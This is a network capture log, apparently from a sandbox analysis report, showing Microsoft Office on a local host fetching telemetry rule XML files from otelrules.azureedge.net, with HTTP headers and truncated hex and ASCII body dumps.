2024-10-07 19:53:22 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:22 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: b738acd5-401e-0067-1502-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195322Z-1657d5bbd48q6t9vvmrkd293mg00000003x000000000g8dg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:22 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49895	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:22 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:22 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 0480ed94-801e-00ac-5102-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195322Z-1657d5bbd4824mj9d6vp65b6n4000000044000000000me8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:22 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49894	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:22 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:22 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8a5fd43d-c01e-0066-4506-17a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195322Z-1657d5bbd48qjg85buwfdynm5w000000042000000000bp50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:22 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49892	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:22 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:22 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 960edd56-701e-005c-4100-17bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195322Z-1657d5bbd48sdh4cyzadbb374800000003ug000000008ndm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:22 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49896	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:22 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:22 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b72ef555-401e-0067-78fe-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195322Z-1657d5bbd48gqrfwecymhhbfm800000002rg00000000mvcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:22 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49897	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:22 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:22 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: db28c537-d01e-0065-47fe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195322Z-1657d5bbd48762wn1qw4s5sd3000000003w00000000060bn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:22 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49898	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:22 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:22 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 7fec7b7f-701e-005c-12a5-18bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195322Z-1657d5bbd48hzllksrq1r6zsvs000000013000000000rqbc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:22 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49899	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:22 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:22 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 84e7aa3f-c01e-008e-74ff-167381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195322Z-1657d5bbd48cpbzgkvtewk0wu0000000042000000000abqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:23 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49900	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:23 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:23 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b6c21a8e-c01e-008e-115a-177381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195323Z-1657d5bbd487nf59mzf5b3gk8n00000003kg00000000drnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:23 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49901	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:23 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:23 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 76165599-601e-000d-1a02-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195323Z-1657d5bbd4824mj9d6vp65b6n4000000044g00000000genf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:23 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49903	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:23 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:23 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 29f28342-e01e-003c-5d00-17c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195323Z-1657d5bbd48vlsxxpe15ac3q7n00000003yg00000000bs6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:23 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49904	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:23 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:23 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ae8ecea4-e01e-0071-63de-1808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195323Z-1657d5bbd48vhs7r2p1ky7cs5w000000046000000000spkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
